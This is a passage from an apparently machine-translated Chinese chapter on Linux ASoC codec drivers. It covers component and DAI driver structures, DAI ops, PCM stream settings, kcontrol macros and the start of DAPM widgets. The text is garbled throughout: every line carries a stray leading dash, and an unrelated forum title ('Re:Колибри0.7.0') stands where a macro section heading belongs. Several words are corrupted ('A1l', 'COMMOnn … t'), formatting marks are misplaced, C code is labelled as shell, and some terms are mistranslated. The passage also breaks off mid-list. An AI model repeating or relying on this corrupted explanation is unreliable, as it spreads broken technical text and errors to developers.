无论平台是什么,都可以使用相同的编解码器驱动。 由于它的目标是特定的编解码器,因此它应该包含音频控件、音频接口功能、编解码器 DAPM 定义和 I/O 功能。 每个编解码器驱动必须满足以下规格: - -* 通过定义 DAI 和 PCM 配置提供到其他模块的接口。 -* 提供编解码器控制 IO 挂钩(使用 I2C 和/或 SPI)。 -* 根据需要公开其他**kControls**(**内核控件**),以便用户空间实用程序动态控制模块行为。 -* 可选)定义 DAPM 小部件并建立动态电源切换的 DAPM 路由,并提供 DAC 数字静音控制。 - -编解码器驱动包括编解码器设备(实际上是组件)本身和 DAIS 组件,它们在与平台绑定期间使用。 它是独立于平台的。 通过`devm_snd_soc_register_component()`的,编解码器驱动注册`struct snd_soc_component_driver`对象(其实际上是编解码器驱动的实例,其包含指向编解码器的路由、小部件、控件和一组与编解码器相关的函数回调的指针)以及一个或多个`struct snd_soc_dai_driver`,其是可能包含音频流的编解码器 DAI 驱动的实例,例如: - -```sh -struct snd_soc_component_driver { -    const char *name; -    /* Default control and setup, added after probe() is run */ -    const struct snd_kcontrol_new *controls; -    unsigned int num_controls; -    const struct snd_soc_dapm_widget *dapm_widgets; -    unsigned int num_dapm_widgets; -    const struct snd_soc_dapm_route *dapm_routes; -    unsigned int num_dapm_routes; -    int (*probe)(struct snd_soc_component *); -    void (*remove)(struct snd_soc_component *); -    int (*suspend)(struct snd_soc_component *); -    int (*resume)(struct snd_soc_component *); -    unsigned int (*read)(struct snd_soc_component *,                          unsigned int); -    int (*write)(struct snd_soc_component *, unsigned int, -                     unsigned int); -    /* pcm creation and destruction */ -    int (*pcm_new)(struct snd_soc_pcm_runtime *); -    void (*pcm_free)(struct snd_pcm *); -    /* component wide operations */ -    int (*set_sysclk)(struct snd_soc_component *component,                      int clk_id, -                     int source, unsigned int freq, int dir); -    int (*set_pll)(struct snd_soc_component *component, -                   int pll_id, int source,                    unsigned int freq_in, -                   unsigned int freq_out); -    int (*set_jack)(struct snd_soc_component *component, -                    struct snd_soc_jack *jack, void *data); -    [...] -    const struct snd_pcm_ops *ops; -    [...] -    unsigned int non_legacy_dai_naming:1; -}; -``` - -此结构还必须由平台驱动提供。 但是,在 ASOC 核心中,此结构中唯一必需的元素是`name`,因为它用于匹配组件。 以下是结构中元素的含义: - -* `name`:此组件的名称对于编解码器和平台都是必需的。 平台侧可能不需要结构中的其他部件。 -* `probe`:组件驱动探测函数,当机器驱动探测到该组件驱动时(实际上,当机器驱动向 ASOC 内核注册由该组件制成的卡时:见`snd_soc_instantiate_card()`)时,执行该组件驱动探测函数(以便在必要时完成组件初始化)。 -* `remove`:组件驱动未注册时(此组件驱动绑定的声卡未注册时发生)。 -* `suspend`和`resume`:电源管理回调,在系统挂起或恢复阶段调用。 -* `controls`:控制接口指针,如控制音量调节、频道选择等,主要用于编解码器。 -* `set_pll`:设置锁相环的函数指针。 -* `read`:读取编解码器寄存器的函数。 -* `write`:写入编解码器寄存器的函数。 -* `num_controls`:控件中的控件数量,即`snd_kcontrol_new`个对象的数量。 -* `dapm_widgets`:`dapm`小工具指针。 -* `num_dapm_widgets`:`dapm`部分指针的数量。 -* `dapm_routes`:`dapm route`个指针。 -* `num_dapm_routes`:`dapm`路由指针的数量。 -* `set_sysclk`:设置时钟函数指针。 -* `ops`:与平台 DMA 相关的回调,仅当从平台驱动内提供此结构时才需要(仅限 ALSA);但是,对于 ASOC,在使用通用 PCM DMA 引擎框架时,ASOC 核心通过与专用 ASOC DMA 相关的 API 为您设置此字段。 - -到目前为止,我们已经在编解码器类驱动的上下文中引入了`struct snd_soc_component_driver`数据结构。 请记住,此结构抽象了编解码器和平台设备,也将在平台驱动上下文中讨论。 不过,在编解码器类驱动的上下文中,我们需要讨论`struct snd_soc_dai_driver`数据结构,它与`struct snd_soc_component_driver`一起抽象编解码器或平台设备及其 DAI 驱动。 - -## 编解码器 DAI 和 PCM(AKA DSP)配置 - -本部分是而不是,应该将命名为**DAI 和 PCM**(AKA**DSP**)**配置**,而不使用*编解码器*。 每个编解码器(或者我应该说“组件”)驱动必须公开编解码器(组件)的 DAI 以及它们的功能和操作。 这是通过填充和注册与编解码器上有多少 DAI 一样多的`struct snd_soc_dai_driver`实例来实现的,这些实例必须使用`devm_snd_soc_register_component()`API 导出。 此函数还将指针指向`struct snd_soc_component_driver`,它是组件驱动,所提供的 DAI 驱动将绑定到该组件驱动并将其导出(实际上是插入到`sound/soc/soc-core.c`中定义的 ASOC 全局组件列表`component_list`中),以便在注册声卡之前,机器驱动可以将其注册到内核。 此结构涵盖每个接口的时钟、格式化和 ALSA 操作,在`include/sound/soc-dai.h`中定义如下: - -```sh -struct snd_soc_dai_driver { -    /* DAI description */ -    const char *name; -    /* DAI driver callbacks */ -    int (*probe)(struct snd_soc_dai *dai); -    int (*remove)(struct snd_soc_dai *dai); -    int (*suspend)(struct snd_soc_dai *dai); -    int (*resume)(struct snd_soc_dai *dai); -[...] -    /* ops */ -    const struct snd_soc_dai_ops *ops; -    /* DAI capabilities */ -    struct snd_soc_pcm_stream capture; -    struct snd_soc_pcm_stream playback; -    unsigned int symmetric_rates:1; -    unsigned int symmetric_channels:1; -    unsigned int symmetric_samplebits:1; -[...] -}; -``` - -在前面的块中,为了可读性,只列举了结构的主要元素。 以下是它们的含义: - -* `name`:这是 DAI 接口的名称。 -* `probe`:DAI 驱动探测函数,当机器驱动探测到该 DAI 驱动所属的组件驱动时(实际上是机器驱动向 ASOC 内核注册卡时)。 -* `remove`:当此 DAI 驱动所属的组件驱动未注册时调用。 -* `suspend`和`resume`:电源管理回调。 -* `ops`:指向`struct snd_soc_dai_ops`结构,该结构提供配置和控制 DAI 的回调。 -* `capture`:指向表示音频捕获硬件参数的`struct snd_soc_pcm_stream`结构。 此成员描述音频捕获过程中支持的通道数、比特率、数据格式等。 如果不需要捕获功能,则不需要进行初始化。 -* `playback`:音频播放的硬件参数。 此成员描述回放期间支持的通道数、比特率、数据格式等。 如果不需要音频播放功能,则不需要初始化。 - -实际上,编解码器和平台驱动必须为它们拥有的每个 DAI 注册此结构。 这就是这一节的一般性之处。 机器驱动器稍后使用它来建立编解码器和 SoC 之间的链接。 但是,为了理解整个配置是如何完成的,还需要给其他数据结构一些学习时间:这些数据结构是`struct snd_soc_pcm_stream`和`struct snd_soc_dai_ops`,DES 将在下一节中描述。 - -### DAI 操作 - -操作由`struct snd_soc_dai_ops`结构的实例抽象为。 此结构包含一组与 PCM 接口相关的不同事件的回调(也就是说,您很可能希望在音频传输开始之前以某种方式准备设备,因此需要将执行此操作的代码放入`prepare`回调中)或与 DAI 时钟和格式配置相关的回调。 该结构定义如下: - -```sh -struct snd_soc_dai_ops { -    int (*set_sysclk)(struct snd_soc_dai *dai, int clk_id, -                      unsigned int freq, int dir); -    int (*set_pll)(struct snd_soc_dai *dai, int pll_id,                    int source, -                   unsigned int freq_in,                    unsigned int freq_out); -    int (*set_clkdiv)(struct snd_soc_dai *dai, int div_id,                       int div); -    int (*set_bclk_ratio)(struct snd_soc_dai *dai,                           unsigned int ratio); -    int (*set_fmt)(struct snd_soc_dai *dai, unsigned int fmt); -    int (*xlate_tdm_slot_mask)(unsigned int slots, -                               unsigned int *tx_mask,                                unsigned int *rx_mask); -    int (*set_tdm_slot)(struct snd_soc_dai *dai, -                        unsigned int tx_mask,                         unsigned int rx_mask, -                        int slots, int slot_width); -    int (*set_channel_map)(struct snd_soc_dai *dai, -                           unsigned int tx_num,                            unsigned int *tx_slot, -                           unsigned int rx_num,                            unsigned int *rx_slot); -    int (*get_channel_map)(struct snd_soc_dai *dai, -                           unsigned int *tx_num,                            unsigned int *tx_slot, -                           unsigned int *rx_num,                            unsigned int *rx_slot); -    int (*set_tristate)(struct snd_soc_dai *dai, int tristate); -    int (*set_sdw_stream)(struct snd_soc_dai *dai,                           void *stream, -                          int direction); -    int (*digital_mute)(struct snd_soc_dai *dai, int mute); -    int (*mute_stream)(struct snd_soc_dai *dai, int mute,                        int stream); -    int (*startup)(struct snd_pcm_substream *,                    struct snd_soc_dai *); -    void (*shutdown)(struct snd_pcm_substream *,                      struct snd_soc_dai *); -    int (*hw_params)(struct snd_pcm_substream *, -                     struct snd_pcm_hw_params *,                      struct snd_soc_dai *); -    int (*hw_free)(struct snd_pcm_substream *,                    struct snd_soc_dai *); -    int (*prepare)(struct snd_pcm_substream *,                    struct snd_soc_dai *); -    int (*trigger)(struct snd_pcm_substream *, int, -                   struct snd_soc_dai *); -}; -``` - -这种结构中的回调函数基本上可以分为三类,驱动可以根据实际情况实现部分回调函数。 - -第一个类收集**个时钟配置回调**,通常由机器驱动调用。 这些回调如下: - -* `set_sysclk`设置 DAI 的主时钟。 如果实现,此回调应从系统或主时钟派生最佳 DAI 位和帧时钟。 机器驱动可以在`cpu_dai`和/或`codec_dai`上使用`snd_soc_dai_set_sysclk()`API 来调用此回调。 -* `set_pll`设置 PLL 参数。 如果实现,此回调应配置并使 PLL 能够基于输入时钟生成输出时钟。 机器驱动可以在`cpu_dai`和/或`codec_dai`上使用`snd_soc_dai_set_pll()`API 来调用此回调。 -* `set_clkdiv`设置时钟分频系数。 机器驱动调用此回调的 API 为`snd_soc_dai_set_clkdiv()`。 - -第二个回调类是 DAI 的**格式配置回调**,通常由机器驱动调用。 这些回调如下: - -* `set_fmt`设置 DAI 的格式。 机器驱动可以使用`snd_soc_dai_set_fmt()`API 调用此回调(在 CPU 和/或编解码器 DAI 上),以配置 DAI 硬件音频格式。 -* `set_tdm_slot`:如果 DAI 支持**时分复用**(**TDM**),则用于设置 TDM 时隙。 调用此回调的机器驱动 API 为`snd_soc_dai_set_tdm_slot()`,以便为 TDM 操作配置指定的 DAI。 -* `set_channel_map`:通道 TDM 映射设置。 机器驱动使用`snd_soc_dai_set_channel_map()`API 为指定的 DAI 调用此回调。 -* `set_tristate`:设置 DAI 引脚的状态,当将同一引脚与其他 DAI 并联使用时,需要设置 DAI 引脚的状态。 它是通过使用`snd_soc_dai_set_tristate()`API 从机器驱动调用的。 - -最后一个回调类是普通的标准前端,它收集通常由 ASOC 核心调用的 PCM 校正操作。 相关回调如下: - -* `startup`:由 ALSA 在 PCM 子流打开时调用(当有人打开捕获/回放设备时(例如,在设备文件打开时)。 -* `shutdown`:此回调应实现将撤消在启动期间所做的操作的代码。 -* `hw_params`:设置音频流时调用。 `struct snd_pcm_hw_params`包含音频特征。 -* `hw_free`:应撤消在`hw_params`中所做的操作。 -* `prepare`:当 PCM 准备好*时调用此函数。 请参考下面的 PCM 公共状态更改流程,以便了解何时调用此回调。 DMA 传输参数根据与特定硬件平台相关的通道、`buffer_bytes`等进行设置。* -** `trigger`:在 PCM 启动、停止和暂停时调用。 此回调中的`int`参数是根据事件可以是`SNDRV_PCM_TRIGGER_START`、`SNDRV_PCM_TRIGGER_RESUME`或`SNDRV_PCM_TRIGGER_PAUSE_RELEASE`之一的命令。 驱动可以使用`switch...case`来迭代事件。* (可选)`digital_mute`:ASOC 内核调用的防流行声音。 例如,当系统被挂起时,它可以由内核调用。* - - *为了弄清楚内核如何调用前面的回调,让我们来看看 PCM 常见状态更改流: - -1. **先启动**:*关闭-->待机-->准备-->在* -2. **停止**:*开-->准备-->待机* -3. **恢复**:*待机-->准备-->在* - -前面流程中的每个状态都将调用一个回调。 A1l 如上所述,我们可以深入研究硬件配置数据结构,即用于捕获或回放操作的。 - -### 捕获和播放硬件配置 - -在捕获或回放操作期间,应设置 DAI 设置(如频道号)和功能,以便配置底层 PCM 流。 您可以通过在编解码器和平台驱动中为每个操作和每个 DAI 填充如下定义的`struct snd_soc_pcm_stream`实例来实现这一点: - -```sh -struct snd_soc_pcm_stream { -    const char *stream_name; -    u64 formats; -    unsigned int rates; -    unsigned int rate_min; -    unsigned int rate_max; -    unsigned int channels_min; -    unsigned int channels_max; -    unsigned int sig_bits; -}; -``` - -该结构的主要构件可以描述如下: - -* `stream_name`:流的名称,可以是`"Playback"`或`"Capture"`。 -* `formats`:支持的数据格式的集合(有效值在前缀为`SNDRV_PCM_FMTBIT_`的`include/sound/pcm.h`中定义),如`SNDRV_PCM_FMTBIT_S16_LE`或`SNDRV_PCM_FMTBIT_S24_LE`。 如果支持多种格式,则可以组合每种格式,如`SNDRV_PCM_FMTBIT_S16_LE | SNDRV_PCM_FMTBIT_S20_3LE`。 -* `rates`:一组支持的采样率(前缀为`SNDRV_PCM_RATE_`,整个有效值在`include/sound/pcm.h`中定义),如`SNDRV_PCM_RATE_44100`或`SNDRV_PCM_RATE_48000`。 如果支持多个采样率,则可以增加每个采样率,例如`SNDRV_PCM_RATE_48000 | SNDRV_PCM_RATE_88200`。 -* `rate_min`:支持的最小采样率。 -* `rate_max`:支持的最大采样率。 -* `channels_min`:t 支持的最小通道数。 - -## 控件的概念 - -编解码器驱动公开一些可以从用户空间更改的编解码器属性是很常见的。 这些是编解码器控件。 当编解码器初始化时,所有定义的音频控件都注册到 ALSA 内核。 音频控件的结构被定义为`include/sound/control.h`的`struct snd_kcontrol_new`。 - -除 DAI 总线外,编解码器设备大部分时间还配备控制总线、I2C 或 SPI 总线。 为了省去每个编解码器驱动实现其控制访问例程的麻烦,编解码器控制 I/O 已经标准化。 这就是 regmap API 的发源地。 您可以使用 regmap 来抽象控制接口,这样编解码器驱动就不必担心当前的控制方法是什么。 音频编解码器前端在`sound/soc/soc-io.c`中实现。 这依赖于 regmap API,这在[*第 2 章*](02.html#_idTextAnchor030),*中已经讨论过,它利用 Regmap API 并简化代码。* - -编解码器驱动随后需要提供读写接口,以便访问底层编解码器寄存器。 这些回调需要在编解码器组件驱动`struct snd_soc_component_driver`的`.read`和`.write`字段中设置。 以下是可用于访问组件寄存器的高级 API: - -```sh -int snd_soc_component_write(struct                             snd_soc_component *component, -                            unsigned int reg, unsigned int val) -int snd_soc_component_read(struct snd_soc_component *component, -                           unsigned int reg,                            unsigned int *val) -int snd_soc_component_update_bits(struct                                   snd_soc_component *component, -                                  unsigned int reg,                                   unsigned int mask,                                   unsigned int val) -int snd_soc_component_test_bits(struct                                 snd_soc_component *component, -                                unsigned int reg,    -                                unsigned int mask,        -                                unsigned int value) -``` - -前面中的每个帮助器都是自描述的。 在我们深入研究控件实现之前,请注意控件框架由几种类型组成: - -* 一个简单的开关控件,它是寄存器中的单个逻辑值 -* 一种立体声控制,它是上一种简单开关控制的立体声版本,可同时控制寄存器中的两个逻辑值 -* 混合器控件,它是多个简单控件的组合,其输出是其输入的混合 -* MUX 控件-与前面提到的混音器控件相同,但可以从多个控件中选择一个 - -在 ALSA 中,通过定义如下的`struct snd_kcontrol_new`结构抽象控件: - -```sh -struct snd_kcontrol_new { -    snd_ctl_elem_iface_t iface; -    unsigned int device; -    unsigned int subdevice; -    const unsigned char *name; -    unsigned int index; -    unsigned int access; -    unsigned int count; -    snd_kcontrol_info_t *info; -    snd_kcontrol_get_t *get; -    snd_kcontrol_put_t *put; -    union { -        snd_kcontrol_tlv_rw_t *c; -        const unsigned int *p; -    } tlv; -    [...] -}; -``` - -以下是上述数据结构中字段的描述: - -* `iface`字段指定控件类型。 它的类型是`snd_ctl_elem_iface_t`,这是`SNDRV_CTL_ELEM_IFACE_XXX`的枚举,其中`XXX`可以是`MIXER`、`PCM`,依此类推。 可在此处找到可能值的列表:[https://elixir.bootlin.com/linux/v4.19/source/include/uapi/sound/asound.h#L848](https://elixir.bootlin.com/linux/v4.19/source/include/uapi/sound/asound.h#L848)。 如果控件与声卡上的特定设备紧密关联,则可以使用`HWDEP`、`PCM`、`RAWMIDI`、`TIMER`或`SEQUENCER`,并使用设备和子设备(即设备中的子流)字段指定设备号。 -* `name`是控件的名称。 此字段具有重要作用,允许按名称对控件进行分类。 ALSA 以某种方式标准化了一些控件名称,我们将在*控件命名约定*部分详细讨论。 -* `index`字段用于保存卡上的控件数量。 如果声卡上有多个编解码器,并且每个编解码器都有一个同名的控件,那么我们可以通过`index`来区分这些控件。 当`index`为 0 时,可以忽略该差异化策略。 -* `access`以`SNDRV_CTL_ELEM_ACCESS_XXX`的形式包含控件的访问权限。 每一位代表一种可与多个 OR 运算组合的访问类型。 `XXX`可以是`READ`、`WRITE`或`VOLATILE`,依此类推。 可以在此处找到可能的位掩码:[https://elixir.bootlin.com/linux/v4.19/source/include/uapi/sound/asound.h#L858](https://elixir.bootlin.com/linux/v4.19/source/include/uapi/sound/asound.h#L858)。 -* `get`是用于读取控件的当前值并将其返回给用户空间中的应用的回调函数。 -* `put`是用于将应用的控件值设置为控件的回调函数。 -* 回调函数`info`用于获取有关 CONT 角色的详细信息。 -* `tlv`字段提供控件的元数据。 - -### 控件命名约定 - -ALSA 希望控件以某种方式命名。 为了实现这一点,ALSA 预定义了一些常用的源(如 Master、PCM、CD、Line 等)、方向(表示控件的数据流,如播放、捕获、旁路、旁路捕获等)和功能(根据控件的功能,如 Switch、Volume、Route 等)。 请注意,没有定义方向意味着控件是双向的(回放和捕获)。 - -有关 ALSA 控件命名的更多详细信息,请参阅下面的链接:[https://www.kernel.org/doc/html/v4.19/sound/designs/control-names.html](https://www.kernel.org/doc/html/v4.19/sound/designs/control-names.html)。 - -### 控制元数据 - -有些混音器控制需要以**分贝**(**分贝**)提供信息。 我们可以使用`DECLARE_TLV_xxx`宏定义一些包含此信息的变量,然后将 CONTROL`tlv.p`字段指向这些变量,最后将`SNDRV_CTL_ELEM_ACCESS_TLV_READ`标志添加到 ACCESS 字段。 - -**TLV**字面意思是**类型长度值**(或**标签长度值**),并且是一种编码方案。 ALSA 已采用此方法来定义分贝范围/刻度容器。 例如,`DECLARE_TLV_DB_SCALE`将定义有关混音器控件的信息,其中控件的值中的每一步都以恒定的分贝量改变分贝值。 让我们以下面的为例: - -```sh -static DECLARE_TLV_DB_SCALE(db_scale_my_control, -4050, 150,                             0); -``` - -根据`include/sound/tlv.h`中此宏的定义,前面的示例可以扩展为以下内容: - -```sh -static struct snd_kcontrol_new my_control devinitdata = { -    [...] -    .access = -     SNDRV_CTL_ELEM_ACCESS_READWRITE |      SNDRV_CTL_ELEM_ACCESS_TLV_READ, -    [...] -    .tlv.p = db_scale_my_control, -}; -``` - -宏的第一个参数表示要定义的变量的名称;第二个参数表示此控件可以接受的最小值,单位为`0.01`dB。 第三个参数是改变的步长,也是以`0.01`dB 为步长。 如果在控制处于最小值时执行静音操作,则需要将第四个参数设置为`1`。 请查看`include/sound/tlv.h`以查看可用的宏。 - -声卡注册时,调用`snd_ctl_dev_register()`函数以保存有关控制设备的相关信息,并使其可供用户使用。 - -### 定义 KCONTROLS - -KControls 由 ASOC 核心使用来导出音频控件(如开关、音量、*MUX…)。 到用户空间。 这意味着,例如,当用户空间应用(如 PulseAudio)在没有插入耳机的情况下关闭耳机或打开扬声器时,操作将由 kcontrol 在内核中处理。 正常的 kcontrol 不参与电源管理(DAPM)。 它们专门用于控制非基于电源管理的元素,如音量电平、增益电平等。 使用适当的宏设置控件后,必须使用`snd_soc_add_component_controls()`方法将它们注册到系统控件列表,其原型如下: - -```sh -int snd_soc_add_component_controls( -                       struct snd_soc_component *component, -                       const struct snd_kcontrol_new *controls, -                       unsigned int num_controls); -``` - -在前面的原型中,`component`是为其添加控件的组件,`controls`是要添加的控件数组,`num_controls`是数组中需要添加的条目数。 - -为了了解该 API 有多简单,让我们看一下下面的示例,它定义了一些控件: - -```sh -static const DECLARE_TLV_DB_SCALE(dac_tlv, -12750, 50, 1); -static const DECLARE_TLV_DB_SCALE(out_tlv, -12100, 100, 1); -static const DECLARE_TLV_DB_SCALE(bypass_tlv, -2100, 300, 0); -static const struct snd_kcontrol_new wm8960_snd_controls[] = { -    [...] -    SOC_DOUBLE_R_TLV("Playback Volume", WM8960_LDAC,                      WM8960_RDAC, 0, -                     255, 0, dac_tlv), -    SOC_DOUBLE_R_TLV("Headphone Playback Volume", WM8960_LOUT1, -                      WM8960_ROUT1, 0, 127, 0, out_tlv), -    SOC_DOUBLE_R("Headphone Playback ZC Switch", WM8960_LOUT1, -                      WM8960_ROUT1, 7, 1, 0), -    SOC_DOUBLE_R_TLV("Speaker Playback Volume", WM8960_LOUT2, -                      WM8960_ROUT2, 0, 127, 0, out_tlv), -    SOC_DOUBLE_R("Speaker Playback ZC Switch", WM8960_LOUT2, -                      WM8960_ROUT2, 7, 1, 0), -    SOC_SINGLE("Speaker DC Volume", WM8960_CLASSD3, 3, 5, 0), -    SOC_SINGLE("Speaker AC Volume", WM8960_CLASSD3, 0, 5, 0), -    SOC_ENUM("DAC Polarity", wm8960_enum[1]), -    SOC_SINGLE_BOOL_EXT("DAC Deemphasis Switch", 0,                         wm8960_get_deemph, -                        wm8960_put_deemph), -    [...] -    SOC_SINGLE("Noise Gate Threshold", WM8960_NOISEG, 3, 31, 0), -    SOC_SINGLE("Noise Gate Switch", WM8960_NOISEG, 0, 1, 0), -    SOC_DOUBLE_R_TLV("ADC PCM Capture Volume", WM8960_LADC, -                      WM8960_RADC, 0, 255, 0, adc_tlv), -    SOC_SINGLE_TLV("Left Output Mixer Boost Bypass Volume", -                      WM8960_BYPASS1, 4, 7, 1, bypass_tlv), -}; -``` - -将注册上述控制的对应代码如下: - -```sh -snd_soc_add_component_controls(component, wm8960_snd_controls, -                              ARRAY_SIZE(wm8960_snd_controls)); -``` - -以下是定义具有这些预置宏定义的 COMMOnn 使用的控件的方法 t。 - -SOC_SINGLE(xname,reg,Shift,max,Invert) - -要设置一个简单的开关,我们可以使用`SOC_SINGLE`。 这是最简单的控件: - -```sh -#define SOC_SINGLE(xname, reg, shift, max, invert) \ -{  .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, \ -   .info = snd_soc_info_volsw, .get = snd_soc_get_volsw,\ -   .put = snd_soc_put_volsw, \ -   .private_value = SOC_SINGLE_VALUE(reg, shift, max, invert) } -``` - -这种类型的控件只有一种设置,通常用于组件开关。 宏定义的参数说明如下: - -* `xname`:控件的名称。 -* `reg`:控件对应的寄存器地址。 -* `Shift`:寄存器`reg`中该控制的偏移量控制位(应用更改的位置)。 -* `max`:控件设置的值范围。 一般来说,如果控制位只有`1`位,那么就有`max=1`位,因为可能的值只有`0`和`1`。 -* `invert`:设置的值是否反转。 - -让我们来研究一下下面的例子: - -```sh -SOC_SINGLE("PCM Playback -6dB Switch", WM8960_DACCTL1, 7, 1,            0), -``` - -在上一个示例中,`PCM Playback -6dB Switch`是控件的名称。 `WM8960_DACCTL1`(在`wm8960.h`中定义)是编解码器(WM8960 芯片)中的寄存器地址,允许您控制此开关: - -* `7`表示`DACCTL1`寄存器中的`7th`位用于启用/禁用 DAC 6DB 衰减。 -* `1`表示只有一个启用或禁用选项。 -* `0`表示您设置的值没有反转。 - -#### SOC_SINGLE_TLV(xname,reg,Shift,max,invert,tlv_array) - -此宏设置具有级别的开关。 它是`SOC_SINGLE`的扩展,用于定义具有增益控制的控制,如音量控制、均衡器等。 在本例中,左输入音量控制范围为 000000(`-17.25`dB)至 111111(`+30`dB)。 每一步为`0.75`dB,即总共`63`步: - -```sh -SOC_SINGLE_TLV("Input Volume of LINPUT1", -               WM8960_LINVOL, 0, 63, 0, in_tlv), -``` - -`in_tlv`(表示控件元数据)的小数位数声明如下: - -```sh -static const DECLARE_TLV_DB_SCALE(in_tlv, -1725, 75, 0); -``` - -在上面,`-1725`表示控制范围从`-17.25dB`开始。 `75`表示每一步为`0.75dB`,`0`表示从 0 开始的步骤 start。 对于某些音量控制情况,第一步是“静音”,sTep 从`1`开始。 因此,前面代码中的`0`应该替换为`1`。 - -#### SOC_DOUBLE_R(xname,reg_left,reg_right,xShift,xmax,xinvert) - -`SOC_DOUBLE_R`是`SOC_SINGLE`的立体声版本。 的不同之处在于,`SOC_SINGLE`只控制一个变量,而`SOC_DOUBLE`可以同时控制一个寄存器中的两个相似变量。 我们可以用它来同时控制左右声道。 - -因为还有一个通道,所以该参数有一个对应的移位值。 以下是一个示例: - -```sh -SOC_DOUBLE_R("Headphone ZC Switch", WM8960_LOUT1, -             WM8960_ROUT1, 7, 1, 0), -``` - -#### SOC_DOUBLE_R_TLV(xname,reg_Left,reg_right,xShift,xmax,xinvert,tlv_array) - -`SOC_DOUBLE_R_TLV`是是`SOC_SINGLE_TLV`的立体声版本。 下面是它的用法示例: - -```sh -SOC_DOUBLE_R_TLV("PCM DAC Playback Volume", WM8960_LDAC, -                 WM8960_RDAC, 0, 255, 0, dac_tlv), -``` - -#### 搅拌器控件 - -混音器控件用于路由音频通道的控制。 它由多个输入和一个输出组成。 多个输入可以自由混合在一起以形成混合输出: - -```sh -static const struct snd_kcontrol_new left_speaker_mixer[] = { -    SOC_SINGLE("Input Switch", WM8993_SPEAKER_MIXER, 7, 1, 0), -    SOC_SINGLE("IN1LP Switch", WM8993_SPEAKER_MIXER, 5, 1, 0), -    SOC_SINGLE("Output Switch", WM8993_SPEAKER_MIXER, 3, 1, 0), -    SOC_SINGLE("DAC Switch", WM8993_SPEAKER_MIXER, 6, 1, 0), -}; -``` - -前述混频器使用`WM8993_SPEAKER_MIXER`寄存器的第三、第五、第六和第七位来控制四个输入的打开和关闭。 - -#### 发帖主题:Re:Колибри0.7.0 - -此宏定义单个枚举控制,其中`xreg`是要修改以应用设置的寄存器,`xshift`是寄存器中的控制位偏移量,`xmask`是控制位大小,`xtexts`是指向描述每个设置的字符串数组的指针。 当控制选项为某些文本时使用此选项。 - -例如,我们可以设置文本的数组,如下所示: - -```sh -static const char  *aif_text[] = { -    "Left" , "Right" -}; -``` - -然后定义枚举,如下所示: - -```sh -static const struct soc_enum aifinl_enum = -    SOC_ENUM_SINGLE(WM8993_AUDIO_INTERFACE_2, 15, 2, aif_text); -``` - -现在,我们已经完成了控件的概念,这些控件用于更改音频设备的属性,我们将了解如何利用它并利用音频设备的电源属性。 - -## DAPM 的概念 - -现代声卡由许多独立的独立组件组成。 每个组件都有可以独立供电的功能单元。 问题是,嵌入式系统在大多数情况下都是由电池供电的,需要最低功耗模式。 手工管理电源域依赖关系可能会很繁琐,而且容易出错。 **动态音频电源管理**(**DAPM**)的目标是始终将音频子系统的功耗降至最低。 DAPM 用于有电源控制的设备,如果不需要电源管理,则可以跳过 DAPM。 只有与电源相关的东西才会进入 DAPM-也就是说,如果它们是有电源控制的东西,或者如果它们控制了通过芯片的音频路由(因此让内核决定需要打开芯片的哪些部分)。 - -DAPM 位于 ASOC 核心中(这意味着电源切换是从内核内部完成的),并在音频流/路径/设置更改时激活,使其对所有用户空间应用完全透明。 - -在前几节中,我们介绍了控件的概念以及如何处理它们。 但是,kcontrol 本身并不参与音频电源管理。 正常的 kcontrol 具有以下特征: - -* 自描述和不能描述每个 kcontrol 之间的连接关系。 -* 缺乏电源管理机制。 -* 缺少对播放、停止、开机和关机等音频事件做出响应的时间处理机制。 -* 缺少 POP-POP 声音预防机制,因此应由用户程序注意每个 kcontrol 的通电和断电顺序。 -* 手动,因为音频路径中涉及的所有控件都不能自动关闭。 当音频路径不再有效时,需要用户空间干预。 - -DAPM 引入了小部件的概念,以解决上述问题。 小部件是基本的 DAPM 单元。 因此,所谓的小部件可以理解为对 kcontrol 的进一步升级和封装。 - -Widget 是 kcontrol 和动态电源管理的组合,还具有音频路径的链接功能。 它可以与其邻居小部件具有动态连接关系。 - -DAPM 框架通过`struct snd_soc_dapm_widget`结构对小部件进行抽象,在`include/sound/soc-dapm.h`中定义如下: - -```sh -struct snd_soc_dapm_widget { -    enum snd_soc_dapm_type id; -    const char *name; -    const char *sname; -[...] -    /* dapm control */ -    int reg; /* negative reg = no direct dapm */ -    unsigned char shift; -    unsigned int mask; -    unsigned int on_val; -    unsigned int off_val; -[...] -    int (*power_check)(struct snd_soc_dapm_widget *w); -    /* external events */ -    unsigned short event_flags; -    int (*event)(struct snd_soc_dapm_widget*, -                 struct snd_kcontrol *, int); -    /* kcontrols that relate to this widget */ -    int num_kcontrols; -    const struct snd_kcontrol_new *kcontrol_news; -    struct snd_kcontrol **kcontrols; -    struct snd_soc_dobj dobj; -    /* widget input and output edges */ -    struct list_head edges[2]; -    /* used during DAPM updates */ -    struct list_head dirty; -[...] -} -``` - -出于可读性的考虑,前面的代码片断中仅列出了相关字段,以下是它们的说明: - -* `id`类型为`enum snd_soc_dapm_type`,表示小部件的类型,如`snd_soc_dapm_output`、`snd_soc_dapm_mixer`等。 完整列表在`include/sound/soc-dapm.h`中定义。 -* `name`是小部件的名称。 -* `shift`和`mask`用于控制微件的电源状态,对应于寄存器地址`reg`。 -* `on_val`和`off_val`值表示用于更改小工具当前电源状态的值。 它们分别对应于何时打开和何时关闭。 -* `event`表示 DAPM 事件处理回调函数指针。 每个小部件都与一个由`**kcontrols`指向的 kcontrol 对象相关联。 -* `*kcontrol_news`是组成此 kcontrol 的控件数组,`num_kcontrols`是其中的条目数。 这三个字段用于描述小部件中包含的 kcontrol 控件,例如混音器控件或 MUX 控件。 -* `dirty`用于在小部件的状态为 c 挂起时将该小部件插入脏列表。 然后扫描该 dirty 列表,以便执行整个路径的更新。 - -### 定义小部件 - -与普通的 kcontrol 一样,DAPM 框架为我们提供了大量的辅助宏来定义各种小部件控件。 这些宏定义可以根据小部件的类型和它们所在的域扩展到多个字段。 它们是,如下所示: - -* **编解码域**:如`VREF`和`VMID`等;它们提供参考电压控件。 这些小部件通常在编解码器探测/移除回调中进行控制。 -* **平台/机器域**:这些小部件通常是需要物理连接的平台或板(实际上是机器)的输入/输出接口,例如耳机、扬声器和麦克风。 也就是说,因为这些接口在每个电路板上可能不同,它们通常由机器驱动配置,并响应异步事件,例如,当插入耳机时。 它们还可以由用户空间应用控制,以某种方式打开和关闭它们。 -* **音频路径域**:通常,指的是,即控制编解码器内部音频路径的 MUX、混合器和其他窗口小部件。 这些控件可以根据用户空间的连接关系自动设置电源状态,例如`alsamixer`和`amixer`。 -* 